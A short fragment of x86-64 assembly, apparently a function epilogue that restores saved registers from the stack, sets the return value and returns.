mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret